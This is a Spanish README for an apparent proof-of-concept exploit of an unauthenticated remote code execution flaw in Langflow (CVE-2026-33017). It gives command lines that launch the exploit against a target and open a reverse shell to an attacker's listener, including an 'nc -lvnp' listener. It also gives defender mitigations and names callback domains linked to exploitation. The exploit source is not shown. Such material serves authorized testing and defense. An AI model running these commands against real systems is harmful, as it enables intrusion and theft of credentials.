CVE-2026-33017 Langflow ("Langflop") PoC de RCE no autenticado

PoC para la falla de ejecución de código no autenticada build_public_tmp en Langflow. Sube un componente malicioso a un flujo público, activa una compilación y captura una shell inversa.

Solo para pruebas de seguridad autorizadas. Úsalo únicamente contra sistemas que poseas o sobre los que tengas permiso explícito para probar.

Requisitos

• Python 3
• requests (pip install requests)

Uso

Ejecuta el listener integrado y lanza el exploit de una sola vez:

python3 poc.py \
  --url https://target:7860 \
  --flow-id <public-flow-uuid> \
  --lhost <your-ip> \
  --lport 4444 \
  --listen

Cuando la shell se conecta, intenta automáticamente actualizar a una shell totalmente interactiva.

Si prefieres usar tu propio listener (p. ej. nc -lvnp 4444), omite --listen:

python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444

Opciones

Información

CVE-2026-33017 es un RCE no autenticado en el endpoint POST /api/v1/build_public_tmp/{flow_id}/flow de Langflow, que ejecuta Python suministrado por el atacante desde las definiciones de nodos de flujo sin sandboxing. Para obtener más información, consulta los siguientes recursos:

• Informe de Sysdig Threat Research: CVE-2026-33017: Cómo los atacantes comprometieron los pipelines de IA de Langflow en 20 horas
• NVD: CVE-2026-33017

Recomendaciones (Defensores)

Mitigaciones del informe de Sysdig Threat Research:

• Actualiza Langflow de inmediato. Si aún no hay una versión parcheada disponible, restringe el acceso de red al endpoint /api/v1/build_public_tmp o desactiva por completo la construcción de flujos públicos.
• Audita las variables de entorno y los secretos en cualquier instancia de Langflow expuesta públicamente. Rota las claves API, las contraseñas de bases de datos y las credenciales de la nube como precaución.
• Supervisa las conexiones salientes a puertos inusuales o servicios de callback conocidos (oastify.com, interact.sh, dnslog.cn), que indican explotación activa y exfiltración de datos.
• Restringe el acceso de red a las instancias de Langflow mediante reglas de firewall o un proxy inverso con autenticación. ¡¡Langflow no debería estar expuesto directamente a internet sin una capa de autenticación!!
• Inventaría las herramientas de IA/ML de tu entorno. Plataformas como Langflow, n8n y otras herramientas de automatización de flujos de trabajo son cada vez más atacadas porque a menudo se ejecutan con amplio acceso a la API y se despliegan fuera de los procesos estándar de revisión de seguridad.

Descargo de responsabilidad

Esta herramienta se proporciona para investigación y pruebas de penetración autorizadas. El autor no asume ninguna responsabilidad por el mal uso o los daños.